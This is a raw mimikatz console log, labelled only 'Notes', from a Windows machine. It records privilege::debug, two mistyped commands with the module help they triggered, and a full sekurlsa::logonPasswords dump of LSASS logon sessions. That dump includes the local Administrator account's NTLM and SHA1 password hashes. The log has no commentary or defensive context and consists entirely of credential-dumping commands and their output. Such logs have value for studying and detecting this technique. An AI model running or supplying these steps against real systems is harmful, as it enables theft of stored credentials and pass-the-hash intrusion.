Notes

.#####. mimikatz 2.1.1 (x64) built on Feb 5 2018 02:08:38
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # @getLogonPasswords
ERROR mimikatz_doLocal ; "@getLogonPasswords" command of "standard" module not found !

Module : standard
Full name : Standard module
Description : Basic commands (does not require module name)

exit - Quit mimikatz
cls - Clear screen (doesn't work with redirections, like PsExec)
answer - Answer to the Ultimate Question of Life, the Universe, and Everything
coffee - Please, make me a coffee!
sleep - Sleep an amount of milliseconds
log - Log mimikatz input/output to file
base64 - Switch file input/output base64
version - Display some version informations
cd - Change or display current directory
localtime - Displays system local date and time (OJ command)
hostname - Displays system local hostname

mimikatz # sekurlsa::logonPasswordssekurlsa::logonPasswords
ERROR mimikatz_doLocal ; "logonPasswordssekurlsa::logonPasswords" command of "sekurlsa" module not found !

Module : sekurlsa
Full name : SekurLSA module
Description : Some commands to enumerate credentials...

msv - Lists LM & NTLM credentials
wdigest - Lists WDigest credentials
kerberos - Lists Kerberos credentials
tspkg - Lists TsPkg credentials
livessp - Lists LiveSSP credentials
ssp - Lists SSP credentials
logonPasswords - Lists all available providers credentials
process - Switch (or reinit) to LSASS process context
minidump - Switch (or reinit) to LSASS minidump context
pth - Pass-the-hash
krbtgt - krbtgt!
dpapisystem - DPAPI_SYSTEM secret
trust - Antisocial
backupkeys - Preferred Backup Master keys
tickets - List Kerberos tickets
ekeys - List Kerberos Encryption Keys
dpapi - List Cached MasterKeys
credman - List Credentials Manager

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 41108 (00000000:0000a094)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/10/2018 7:31:10 AM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : WIN-D0CAIGUSSPD$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :

Authentication Id : 0 ; 41090 (00000000:0000a082)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/10/2018 7:31:10 AM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : WIN-D0CAIGUSSPD$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :

Authentication Id : 0 ; 409074 (00000000:00063df2)
Session : RemoteInteractive from 2
User Name : Administrator
Domain : WIN-D0CAIGUSSPD
Logon Server : WIN-D0CAIGUSSPD
Logon Time : 3/10/2018 7:32:17 AM
SID : S-1-5-21-2908748972-2458891947-220861915-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : WIN-D0CAIGUSSPD
* NTLM : f488972c1fe6d65a1bce04d7ebc9c5a3
* SHA1 : 00515ae76ef0d7765c8067ee4ffe5faf22d82539
tspkg :
wdigest :
* Username : Administrator
* Domain : WIN-D0CAIGUSSPD
* Password : (null)
kerberos :
* Username : Administrator
* Domain : WIN-D0CAIGUSSPD
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-D0CAIGUSSPD$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 3/10/2018 7:31:10 AM
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : WIN-D0CAIGUSSPD$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : win-d0caigusspd$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 3/10/2018 7:31:10 AM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 21463 (00000000:000053d7)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 3/10/2018 7:31:10 AM
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :

Authentication Id : 0 ; 380018 (00000000:0005cc72)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/10/2018 7:32:16 AM
SID : S-1-5-90-0-2
msv :
tspkg :
wdigest :
* Username : WIN-D0CAIGUSSPD$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :

Authentication Id : 0 ; 380000 (00000000:0005cc60)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/10/2018 7:32:16 AM
SID : S-1-5-90-0-2
msv :
tspkg :
wdigest :
* Username : WIN-D0CAIGUSSPD$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN-D0CAIGUSSPD$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 3/10/2018 7:31:10 AM
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WIN-D0CAIGUSSPD$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : win-d0caigusspd$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :

mimikatz #